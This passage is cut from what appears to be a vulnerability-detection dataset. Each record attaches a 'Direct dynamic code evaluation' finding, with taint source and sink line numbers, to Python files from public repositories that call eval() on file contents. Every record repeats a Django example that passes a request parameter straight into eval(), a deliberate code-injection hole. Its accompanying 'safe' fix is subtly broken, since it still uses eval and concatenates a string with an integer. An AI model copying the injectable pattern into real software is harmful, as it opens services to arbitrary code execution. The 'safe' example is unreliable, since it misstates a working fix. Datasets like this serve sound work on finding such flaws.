len(listLambduhs)):\n raise nx.NetworkXError(\"Ran out of values for lambduh\") \n\n # add those to dictFeasibleFs \n dictFeasibleFs.update(dict([((next_highest_lambduh, r), F) \n for (r, F) in Flam[next_highest_lambduh].items() \n if Flam[next_highest_lambduh][r] > Qlam[next_highest_lambduh][r]]))\n\n logging.info(\"[%d], next_highest_lambduh=%f, feasibleFs=%s\", t,\n next_highest_lambduh, str(dictFeasibleFs))\n\n current_index += 1\n\n if len(dictFeasibleFs) > 0:\n # get best r and best_feasible_lambda\n best_feasible_lambda, bestr = max(dictFeasibleFs, key=dictFeasibleFs.get) \n snapstats.feasible[t] = 1\n else:\n logging.error(\"Nothing feasible found, constraint too harsh perhaps.\\\n Using highest lambda wihout worrying about feasibility.\")\n best_feasible_lambda = listLambduhs[-1]\n bestr = max(Flam[best_feasible_lambda], key=Flam[best_feasible_lambda].get) \n snapstats.feasible[t] = 0\n\n logging.info(\"best_feasible_lambda=%f, bestr = %d\", best_feasible_lambda, bestr)\n \n label_dict = label_dict_lam[best_feasible_lambda][bestr]\n \n snapstats.lambdaopt[t] = lambdaopt\n snapstats.best_feasible_lambda[t] = best_feasible_lambda\n snapstats.numfunc[t] = numfunc\n snapstats.ierr[t] = ierr\n snapstats.StrengthConsorts[t] = Zgraph.size(weight='weight')\n snapstats.NumConsorts[t] = Zgraph.size()\n snapstats.Estrangement[t] = Elam[best_feasible_lambda][bestr]\n snapstats.Q[t] = Qlam[best_feasible_lambda][bestr]\n snapstats.F[t] = Flam[best_feasible_lambda][bestr]\n snapstats.Qdetails[t] = Qlam\n snapstats.Edetails[t] = Elam\n snapstats.Fdetails[t] = Flam\n # end else of if beginning is True:\n\n # increment the labels by some huge offset each snapshot and let alignment do the work\n for n in label_dict:\n label_dict[n] += 1000000*snapshot_number\n\n matched_label_dict = utils.match_labels(label_dict, prev_matched_label_dict)\n matched_labels.update({t:matched_label_dict})\n\n snapstats.NumComm[t] = len(set((label_dict.values())))\n \n snapstats.NumNodes[t] = g1.number_of_nodes()\n snapstats.NumEdges[t] = g1.number_of_edges()\n snapstats.Size[t] = g1.size(weight='weight')\n snapstats.NumComponents[t] = nx.number_connected_components(g1)\n if g1.number_of_nodes > 0:\n snapstats.LargestComponentsize[t] = len(nx.connected_components(g1)[0])\n else:\n snapstats.LargestComponentsize[t] = 0\n\n # keep track of prev snaphost graph and labelDict\n g0 = g1\n prev_label_dict = label_dict\n \n prev_matched_label_dict = matched_label_dict\n snapshot_number += 1\n\n # end for t, g1 in ......\n \n if write_stats is True: \n for statname, statobj in vars(snapstats).items():\n with open('%s.log'%statname, 'w') as fout:\n pprint.pprint(statobj, stream=fout) \n\n print(\"Done computing temporal communities for delta=%f\" %delta)\n # result is a dictionary of the form: {time : {node : label}}\n with open(results_filename, 'w') as fw:\n fw.write(str(matched_labels))\n\n return matched_labels\n\nclass SnapshotStatistics():\n \"\"\" Helper class used to aggregate results. \"\"\"\n def __init__(self):\n self.NumComm = {} # key = time t, val = Number of communities at time t\n self.Q = {} # key = time t, val = Modularity of partition at t\n self.Qstar = {} # key = time t, val = Modularity of partition at t with tau=0\n self.F = {} # key = time t, val = F of partition at t\n self.StrengthConsorts = {}# key = time t, val = strength of consorts at time t\n self.NumConsorts = {} # key = time t, val = Num of conorts at time t\n self.Estrangement = {} # key = time t, val = number of estranged edges at time t\n self.lambdaopt = {} # key = time t, lambdaopt found via solving the dual problem\n self.best_feasible_lambda = {} # key = time t, lambdaopt found via solving the dual problem\n self.numfunc = {} # key = time t, Number of function evaluations needed for solving the dual\n self.ierr = {} # key = time t, convergence of the dual\n self.feasible = {} # key = time t, convergence of the dual\n self.NumNodes = {} # key = time t, val = number of nodes in the graph\n self.NumEdges = {} # key = time t, val = number of edges in the graph\n self.Size = {} # key = time t, val = sum of the weight of the edges in the graph \n self.NumComponents = {} # key = time t, val = number of connected components in the graph \n self.LargestComponentsize = {} # key = time t, val = number of nodes in the largest component\n self.Qdetails = {} # {'time': {'lambduh': {'run_number': Q}}}\n self.Edetails = {} # {'time': {'lambduh': {'run_number': E}}}\n self.Fdetails = {} # {'time': {'lambduh': {'run_number': F}}}\n", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 81, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "82"}}, {"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 89, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 89, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "afaa7f00340cfcdd837ee673c5d466696036925196522751ffc5fb6adc3304fe", "license": {"spdx": ["MIT"], "repo": "eebop/Malefic", "path": "run_mal.py", "repo_head_hexsha": "ff8db003979ad6be893552635cd029a2297c1ab0", "stack_hexsha": "8c0962d24012c815174d4da53483aeb54be38996", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 14, "entireCode": "import sys\nimport time\nimport pygame\nfrom gen_new_updated_file import gen_file, format_prog\n\nregisters = [0] * 128\nmain_reg = 0\nwhere_in_regs = 0\nshould_replace = False\nreplace_with = None\n\n\nwith open('data.py', 'r') as f:\n commands_dict = eval(f.read())\n\npygame.init()\nscreen = pygame.display.set_mode((512, 512))\n\nwith open(sys.argv[1], 'r') as f:\n txt = f.read()\n\nexe = list(map(str.split, txt.splitlines()))\n\nclass UserProgramFailure(Exception):\n pass\n\nclass Pygame_handler:\n '''WARNING: only make one instance'''\n def __init__(self):\n\n self.sxscval = -1\n self.syscval = -1\n\n def sxlc(self, value):\n self.sxscval = int(value, 2)\n\n def sylc(self, value):\n self.syscval = int(value, 2)\n\n def scol(self, color):\n rgb = str(color)\n self.r = int(rgb[:2], 2) * 127\n self.g = int(rgb[2:4], 2) * 127\n self.b = int(rgb[4:], 2) * 127\n\n def draw(self):\n pygame.gfxdraw.pixel(screen, (self.r, self.g, self.b), [self.sxscval*2, self.syscval*2, 2, 2])\n time.sleep(1)\n pygame.display.flip()\n\nclass basic_handler(Pygame_handler):\n def jump(self, loc):\n global loop_num\n #print(f'jumping to line {loc}')\n loop_num = int(loc, 2) - 1 # minus one is because of the plus one at the bottom of the while loop\n\n def jpfz(self, loc):\n if main_reg == 0:\n self.jump(loc)\n\n def jfnz(self, loc):\n if main_reg != 0:\n self.jump(loc)\n\n def semr(self, input):\n global main_reg\n main_reg = int(input, 2)\n registers[where_in_regs] = main_reg\n\n def rpnx(self, reg):\n global should_replace\n global replace_with\n should_replace = True\n shortened_value = bin(registers[int(reg, 2)])[2:]\n replace_with = [shortened_value if not shortened_value.startswith('b') else '-' + shortened_value[1]]\n #print(replace_with)\n\n def log(self, input): # Doesn't count; only for testing.\n print('LOG:', input)\n\n def add(self, input):\n global main_reg\n main_reg += int(input, 2)\n registers[where_in_regs] = main_reg\n\n def sub(self, input):\n global main_reg\n main_reg -= int(input, 2)\n registers[where_in_regs] = main_reg\n\n def dump(self): # for testing\n print(self.dumpr())\n\n def dumpr(self): # DO NOT USE IN SIM\n return f'''On line {loop_num}. The program is {len(exe)} lines long.\nThe registers contain {registers},\\nof which register {where_in_regs} is the main one.\nit contains {main_reg}.'''\n\n def swir(self, reg):\n reg = int(reg, 2)\n global main_reg\n global where_in_regs\n registers[where_in_regs] = main_reg\n main_reg = registers[reg]\n where_in_regs = reg\n\n def kill(self): # Doesn't count; only for testing.\n time.sleep(10)\n sys.exit()\n\n def abs(self): # can use boolean and instead in other implamentations\n global main_reg\n main_reg = abs(main_reg)\n registers[where_in_regs] = main_reg\n\n def band(self, value):\n global main_reg\n main_reg = main_reg & int(value, 2)\n registers[where_in_regs] = main_reg\n\n def rplz(self):\n global main_reg\n main_reg = 0 if main_reg < 0 else main_reg\n registers[where_in_regs] = main_reg\n\n def rein(self, instruction):\n exe[main_reg][0] = commands_dict[instruction.zfill(4)]\n\n def cont(self):\n pass\n\nget_all = basic_handler()\n\nloop_num = 0\n\n\n\nwhile True:\n try:\n if exe[loop_num]:\n program, *value = exe[loop_num][:2]\n if not program.startswith('#'):\n if should_replace:\n value = replace_with\n should_replace = False\n if value and value[0].startswith('#'): # This shorts out if value is empty\n value = []\n getattr(get_all, program)(*value)\n print('here')\n loop_num += 1\n if loop_num == len(exe):\n break\n except TypeError as e:\n if type(e) == type(TypeError()):\n raise UserProgramFailure(f'ERROR: Too few arguments\\n\\ndebug status:\\n{\"-\"*10}\\n{get_all.dumpr()}\\n{\"-\"*10}')\n except Exception:\n raise UserProgramFailure('unknown error')\n get_all.dump()\n\n\ninput(\"prompt to end program...\")\n\ngen_file(sys.argv[1], format_prog(exe))", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 13, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 14, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 14, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "a3b3ef58378f3ef1fe50137039aa26113dc060f706259d8c66539de2d828c0ea", "license": {"spdx": ["Apache-2.0"], "repo": "zhangyimi/Research", "path": "NLP/Conversational-Recommendation-BASELINE/conversational_recommendation/goal_planning/model/paddle_astar_goal.py", "repo_head_hexsha": "866f91d9774a38d205d6e9a3b1ee6293748261b3", "stack_hexsha": "ada246a044572496c0a255720ff8070e2a6170b6", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 58, "entireCode": "######################################################################\n# Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n######################################################################\n\"\"\"\nFile: \n\"\"\"\n\nimport paddle\nimport os\nimport paddle.fluid as fluid\nimport numpy as np\nimport sys\nimport math\nimport random\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import recall_score\nfrom sklearn.metrics import precision_score\nimport paddle.fluid.dygraph.base as base\n\n\nclass Config(object):\n \"\"\"Config\"\"\"\n def __init__(self):\n self.CLASS_SIZE = 2\n self.EMBED_SIZE = 128\n self.HIDDEN_SIZE = 128\n self.STACKED_NUM = 3\n self.INPUT_SIZE = 21\n self.TRAIN_RATE = 0.7\n self.VAL_RATE = 0.15\n self.SHUFFLE = False\n self.GOAL_FILE = True\n self.DOWN_SAMPLING = False\n self.BATCH_SIZE = 128\n self.LEARNING_RATE = 0.001\n self.NUM_EPOCH = 50\n self.DEVICE = fluid.CPUPlace()\n self.SAVE_PATH = \"../model_state/paddle_astar_goal_v1.mdl\"\n\n\ndef file_reader(file_path):\n \"\"\"file_reader\"\"\"\n data = None\n with open(file_path, \"r\") as f:\n data = eval(f.read())\n f.close()\n return data\n\n\ndef reader_generater(datas):\n \"\"\"reader_generater\"\"\"\n def reader():\n \"\"\"reader\"\"\"\n for data in datas:\n yield data\n return reader\n\n\ndef get_data(file_path, data_tag, test=False):\n x = file_reader(file_path + data_tag + \"_next_goal_type.txt\")\n if test is False:\n y = file_reader(file_path + data_tag + \"_next_goal_type_label.txt\")\n g = file_reader(file_path + data_tag + \"_final_goal_type.txt\")\n\n idx = file_reader(file_path + data_tag + \"_next_goal_type_idx.txt\")\n c = [item[-1] for item in x]\n \n data = None\n if test is False:\n data = [[x[i], y[i], c[i], g[i], idx[i]] for i in range(len(x))]\n else:\n data = [[x[i], c[i], g[i][0], idx[i]] for i in range(len(x))]\n return data\n\n\ndef get_point_data(train_rate, val_rate, batch_size, train_down_sampling=False, goal_file=True):\n \"\"\"get_point_data\"\"\"\n \n file_path = \"../train_data/\"\n train_data = get_data(file_path, \"train\")\n val_data = get_data(file_path, \"val\")\n test_data = get_data(file_path, \"test\", test=True)\n \n train_len = len(train_data)\n val_len = len(val_data)\n data_len = train_len + val_len + len(test_data)\n \n print(train_len, val_len, len(test_data))\n train_reader = paddle.batch(reader_generater(train_data), batch_size=batch_size)\n val_reader = paddle.batch(reader_generater(val_data), batch_size=batch_size)\n test_reader = paddle.batch(reader_generater(test_data), batch_size=batch_size)\n \n return train_reader, val_reader, test_reader\n\n\ndef a_star(sequence, current, goal, config):\n \"\"\"a_star\"\"\"\n input_dim = config.INPUT_SIZE\n class_dim = config.CLASS_SIZE\n embed_dim = config.EMBED_SIZE\n hidden_dim = config.HIDDEN_SIZE\n stacked_num = config.STACKED_NUM\n \n weight_data = np.random.random(size=(input_dim, embed_dim))\n my_param_attrs = fluid.ParamAttr(\n name=\"embedding\",\n learning_rate=0.5,\n initializer=fluid.initializer.NumpyArrayInitializer(weight_data),\n trainable=True\n )\n \n seq_embed = fluid.embedding(\n input=sequence, size=[input_dim, embed_dim], param_attr=my_param_attrs)\n curr_embed = fluid.embedding(\n input=current, size=[input_dim, embed_dim], param_attr=my_param_attrs)\n goal_embed = fluid.embedding(\n input=goal, size=[input_dim, embed_dim], param_attr=my_param_attrs)\n \n fc1 = fluid.layers.fc(input=seq_embed, size=hidden_dim)\n lstm1, cell1 = fluid.layers.dynamic_lstm(input=fc1, size=hidden_dim)\n inputs = [fc1, lstm1]\n\n for i in range(2, stacked_num + 1):\n fc = fluid.layers.fc(input=inputs, size=hidden_dim)\n lstm, cell = fluid.layers.dynamic_lstm(\n input=fc, size=hidden_dim, is_reverse=(i % 2) == 0)\n inputs = [fc, lstm]\n \n fc_last = fluid.layers.sequence_pool(input=inputs[0], pool_type='max')\n lstm_last = fluid.layers.sequence_pool(input=inputs[1], pool_type='max')\n \n current_cost_embed = [fc_last, lstm_last, curr_embed]\n remain_cost_embed = [fc_last, lstm_last, goal_embed]\n \n pred_curr_fc1 = fluid.layers.fc(input=current_cost_embed, size=64, act=\"relu\")\n current_cost = fluid.layers.fc(input=pred_curr_fc1, size=1, act=\"sigmoid\")\n \n pred_goal_fc1 = fluid.layers.fc(input=remain_cost_embed, size=64, act=\"relu\")\n remain_cost = fluid.layers.fc(input=pred_goal_fc1, size=1, act=\"sigmoid\")\n \n prediction = 0.5 * current_cost + 0.5 * remain_cost\n return prediction\n\n\ndef inference_program(config):\n \"\"\"inference_program\"\"\"\n sequence = fluid.data(name=\"sequence\", shape=[None, 1], dtype=\"int64\", lod_level=1)\n current = fluid.data(name=\"current\", shape=[None], dtype=\"int64\")\n goal = fluid.data(name=\"goal\", shape=[None], dtype=\"int64\")\n net = a_star(sequence, current, goal, config)\n return net\n\n\ndef train_program(prediction):\n \"\"\"train_program\"\"\"\n label = fluid.data(name=\"label\", shape=[None, 1], dtype=\"float32\")\n idx = fluid.data(name=\"idx\", shape=[None], dtype=\"int64\")\n cost = fluid.layers.log_loss(input=prediction, label=label)\n avg_cost = fluid.layers.mean(cost)\n return avg_cost\n\n\ndef train_accuracy(prediction, data):\n \"\"\"train_accuracy\"\"\"\n y_pred = list()\n y_true = list()\n for item in prediction:\n if item[0] > 0.5:\n y_pred.append(1)\n else:\n y_pred.append(0)\n for item in data:\n y_true.append(item[1])\n accuracy = accuracy_score(y_true, y_pred)\n return accuracy\n\n\ndef argmax_metrics(y_pred, y_true, y_type, y_idx):\n \"\"\"argmax_metrics\"\"\"\n group_data = list()\n \n idx = 0\n\n while idx < len(y_idx):\n tmp_pred = list()\n tmp_true = list()\n tmp_type = list()\n tmp_idx = list()\n \n previous = y_idx[idx]\n while idx < len(y_idx) and y_idx[idx] == previous:\n tmp_pred.append(y_pred[idx])\n tmp_true.append(y_true[idx])\n tmp_type.append(y_type[idx])\n tmp_idx.append(y_idx[idx])\n idx += 1\n \n group_data.append([tmp_pred, tmp_true, tmp_type, tmp_idx])\n \n data_pred = list()\n data_true = list()\n for item in group_data:\n true_type = None\n pred_type = None\n max_pred = -1\n for a, b, c in zip(item[0], item[1], item[2]):\n if a > max_pred:\n max_pred = a\n pred_type = c\n if b == 1:\n true_type = c\n \n if true_type != None and pred_type != None:\n data_pred.append(pred_type)\n data_true.append(true_type)\n print(len(data_true), len(data_pred))\n return evaluation(data_pred, data_true)\n\n \ndef evaluation(y_pred, y_true, flag=\"macro\"):\n \"\"\"evaluation\"\"\"\n return accuracy_score(y_true, y_pred), recall_score(y_true, y_pred, average=flag), \\\n precision_score(y_true, y_pred, average=flag), f1_score(y_true, y_pred, average=flag)\n\n\ndef optimizer_func(learning_rate):\n \"\"\"optimizer_func\"\"\"\n return fluid.optimizer.Adagrad(learning_rate=learning_rate)\n\n\ndef train(config):\n \"\"\"train\"\"\"\n print(\"Reading data...\")\n train_reader, val_reader, test_reader = get_point_data(\n config.TRAIN_RATE, config.VAL_RATE, config.BATCH_SIZE, config.DOWN_SAMPLING, config.GOAL_FILE)\n \n feed_order = [\"sequence\", \"label\", \"current\", \"goal\", \"idx\"]\n main_program = fluid.default_main_program()\n star_program = fluid.default_startup_program()\n main_program.random_seed = 90\n star_program.random_seed = 90\n \n prediction = inference_program(config)\n avg_cost = train_program(prediction)\n \n val_program = main_program.clone(for_test=True)\n \n sgd_optimizer = optimizer_func(config.LEARNING_RATE)\n sgd_optimizer.minimize(avg_cost)\n exe = fluid.Executor(config.DEVICE)\n \n def val_loop(program, reader):\n \"\"\"val_loop\"\"\"\n feed_var_list = [program.global_block().var(var_name) for var_name in feed_order]\n feeder_var = fluid.DataFeeder(feed_list=feed_var_list, place=config.DEVICE)\n val_exe = fluid.Executor(config.DEVICE)\n val_pred, val_prob, val_true, val_type, val_idx = list(), list(), list(), list(), list()\n for val_data in reader():\n preds = val_exe.run(\n program=program,\n feed=feeder_var.feed(val_data),\n fetch_list=prediction\n )\n preds = np.squeeze(np.array(preds))\n for pred in preds:\n if pred <= 0.5:\n val_pred.append(0)\n else:\n val_pred.append(1)\n val_prob.append(pred)\n for vd in val_data:\n val_type.append(vd[0][-1])\n val_true.append(vd[1])\n val_idx.append(vd[-1])\n bi_acc, bi_rec, bi_pre, bi_f1 = evaluation(val_pred, val_true)\n ag_acc, ag_rec, ag_pre, ag_f1 = argmax_metrics(val_prob, val_true, val_type, val_idx)\n return bi_acc, bi_rec, bi_pre, bi_f1, ag_acc, ag_rec, ag_pre, ag_f1\n \n def train_loop():\n \"\"\"train_loop\"\"\"\n feed_var_list_loop = [main_program.global_block().var(var_name) for var_name in feed_order]\n feeder = fluid.DataFeeder(feed_list=feed_var_list_loop, place=config.DEVICE)\n exe.run(star_program)\n \n max_epoch, max_acc = 0, 0\n for epoch_id in range(config.NUM_EPOCH):\n train_loss = list()\n train_acc = list()\n \n for batch_id, data in enumerate(train_reader()):\n metrics = exe.run(\n main_program,\n feed=feeder.feed(data),\n fetch_list=[avg_cost, prediction]\n )\n train_loss.append(np.array(metrics[0]))\n train_acc.append(train_accuracy(np.array(metrics[1]), data))\n bi_acc, bi_rec, bi_pre, bi_f1, ag_acc, ag_rec, ag_pre, ag_f1 = val_loop(val_program, val_reader)\n print(\"Epoch-%d, Train-Loss:%.4f, Train-Acc:%.4f, BI-Acc:%.4f, \\\n BI-Rec:%.4f, BI-Pre:%.4f, BI-F1:%.4f, AG-Acc:%.4f, AG-Rec:%.4f, AG-Pre:%.4f, AG-F1:%.4f\" % (\n epoch_id, np.mean(train_loss), np.mean(train_acc), \n bi_acc, bi_rec, bi_pre, bi_f1, \n ag_acc, ag_rec, ag_pre, ag_f1)) \n \n if bi_acc > max_acc:\n max_acc = bi_acc\n max_epoch = epoch_id\n fluid.io.save_inference_model(config.SAVE_PATH, [\"sequence\", \"current\", \"goal\"], prediction, exe)\n print(\"max_epoch: %d, max_acc: %.4f\" % (max_epoch, max_acc))\n \n \n train_loop()\n inference(config, test_reader)\n\n\ndef inference(config, reader):\n \"\"\"inference\"\"\"\n exe = fluid.Executor(config.DEVICE)\n inference_scope = fluid.core.Scope()\n with fluid.scope_guard(inference_scope):\n [inferencer, feed_target_names, fetch_targets] = fluid.io.load_inference_model(config.SAVE_PATH, exe)\n \n test_pred, test_prob, test_true, test_type, test_idx = list(), list(), list(), list(), list()\n for data in reader():\n sequence = list()\n current = list()\n goal = list()\n for d in data:\n sequence.append(d[0])\n current.append(d[1])\n goal.append(d[2])\n \n test_type.append(d[0][-1])\n test_true.append(d[1])\n test_idx.append(d[-1])\n \n base_shape = [[len(seq) for seq in sequence]]\n lod_seq = fluid.create_lod_tensor(sequence, base_shape, config.DEVICE)\n\n new_data = {\n feed_target_names[0]: lod_seq,\n feed_target_names[1]: np.array(current),\n feed_target_names[2]: np.array(goal)\n }\n \n preds = exe.run(\n inferencer,\n feed=new_data,\n fetch_list=fetch_targets,\n return_numpy=False\n )[0]\n \n preds = np.squeeze(np.array(preds))\n for pred in preds:\n if pred <= 0.5:\n test_pred.append(0)\n else:\n test_pred.append(1)\n test_prob.append(pred)\n\n return test_pred, test_prob\n \n \nif __name__ == \"__main__\":\n config = Config()\n train(config)\n train_reader, val_reader, test_reader = get_point_data(\n config.TRAIN_RATE, config.VAL_RATE, config.BATCH_SIZE, config.DOWN_SAMPLING, config.GOAL_FILE)\n inference(config, test_reader)\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n ", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 57, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 58, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 58, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "0bcea9ec28ada529dbc45aab9fa504ce10eb5cdedb5ca0529e4509a8ffec0ec9", "license": {"spdx": ["MIT"], "repo": "KinanZ/open_clip", "path": "src/training/data.py", "repo_head_hexsha": "6e76ee3b3a15ee6c4a187853fd123c967721c32b", "stack_hexsha": "f686c673e4830a0575e7ed174d80bf84c72aae5e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 130, "entireCode": "import os\nimport sys\nimport math\nimport logging\nimport functools\nimport braceexpand\nimport random\nimport pdb\n\nimport pandas as pd\nimport numpy as np\nimport pyarrow as pa\nfrom PIL import Image\n\nfrom typing import Union\nfrom dataclasses import dataclass\n\nimport torch\nfrom torch.utils.data import Dataset, DataLoader, SubsetRandomSampler\nfrom torch.utils.data.distributed import DistributedSampler\nimport torchvision.datasets as datasets\nimport torchvision.transforms.functional as F\n\nsys.path.append('/misc/student/alzouabk/Thesis/self_supervised_pretraining/open_clip_thesis/src/')\nfrom clip.clip import tokenize\nfrom training.text_aug import SetAugmenter, ReplaceAugmenter, groups, skip_some_words\nfrom clip.de_tokenizer import Tokenizer as de_Tokenizer\nfrom transformers import AutoTokenizer\n\nfrom collections import defaultdict\n\n\nclass CsvDataset(Dataset):\n def __init__(self, input_filename, transforms_img, transforms_text, transform_bbox, img_key, caption_key,\n labels_key=None, bboxes_key=None, sep=\"\\t\", use_de_tokenizer=False, DE_model=False):\n logging.debug(f'Loading csv data from {input_filename}.')\n df = pd.read_csv(input_filename, sep=sep)\n\n self.images = df[img_key].tolist()\n self.captions = df[caption_key].tolist()\n self.captions = ['Kein Hinweis auf Fraktur , Blutung oder frisches ischämisches Areal .' if x != x else x for x\n in self.captions]\n\n if labels_key is not None:\n self.labels = df[labels_key].tolist()\n for i, c in enumerate(self.labels):\n self.labels[i] = list(set(eval(c)))\n self.class2sentences = defaultdict(list)\n for c, s in zip(self.labels, self.captions):\n self.class2sentences[str(c)].append(s)\n self.class2sentences['[0]'] = list(set(self.class2sentences['[0]']))\n else:\n self.labels = None\n\n if bboxes_key is not None:\n self.bboxes = df[bboxes_key].tolist()\n else:\n self.bboxes = None\n\n self.transforms_img = transforms_img\n self.transform_bbox = transform_bbox\n\n if labels_key is not None:\n self.transforms_text = transforms_text\n self.text_replace_aug = ReplaceAugmenter(groups)\n self.text_set_aug = SetAugmenter(self.class2sentences['[0]'])\n logging.debug('Done loading data.')\n\n self.DE_model = DE_model\n if use_de_tokenizer:\n self.de_tokenize = de_Tokenizer(AutoTokenizer.from_pretrained(\"bert-base-german-cased\"), context_length=118)\n else:\n self.de_tokenize = None\n\n def __len__(self):\n return len(self.captions)\n\n def __getitem__(self, idx):\n image = Image.open(str(self.images[idx]))\n text = [str(self.captions[idx])]\n\n if self.labels is not None:\n gt_labels = self.labels[idx]\n labels = torch.zeros(15) # 15 is the number of classes\n labels[gt_labels] = 1\n\n if gt_labels[0] == 0:\n if self.transforms_text[0]:\n text[0] = self.text_set_aug.aug_set(None)\n else:\n if self.transforms_text[1]:\n aug_text = self.text_replace_aug.aug_flip_horizontal(text[0])\n if aug_text != text[0]:\n text[0] = aug_text\n image = F.hflip(image)\n if self.transforms_text[2]:\n text[0] = self.text_replace_aug.aug_negative(text[0])\n if self.transforms_text[3]:\n text[0] = self.text_replace_aug.aug_positive(text[0])\n if self.transforms_text[4]:\n text[0] = skip_some_words(text[0])\n\n if self.bboxes is not None:\n bboxes = eval(self.bboxes[idx])\n if self.transform_bbox:\n image = crop_show_augment(image, labels, bboxes)\n\n text = tokenize(text, self.de_tokenize, DE_model=self.DE_model)\n image = self.transforms_img(image)\n return image, text, labels\n else:\n text = tokenize(text, self.de_tokenize, DE_model=self.DE_model)\n image = self.transforms_img(image)\n return image, text, []\n\n\n@dataclass\nclass DataInfo:\n dataloader: DataLoader\n sampler: DistributedSampler\n\n\ndef preprocess_txt(text):\n return tokenize([str(text)])[0]\n\n\ndef get_dataset_size(shards):\n shards_list = list(braceexpand.braceexpand(shards))\n dir_path = os.path.dirname(shards)\n sizes = eval(open(os.path.join(dir_path, 'sizes.json'), 'r').read())\n total_size = sum(\n [int(sizes[os.path.basename(shard)]) for shard in shards_list])\n num_shards = 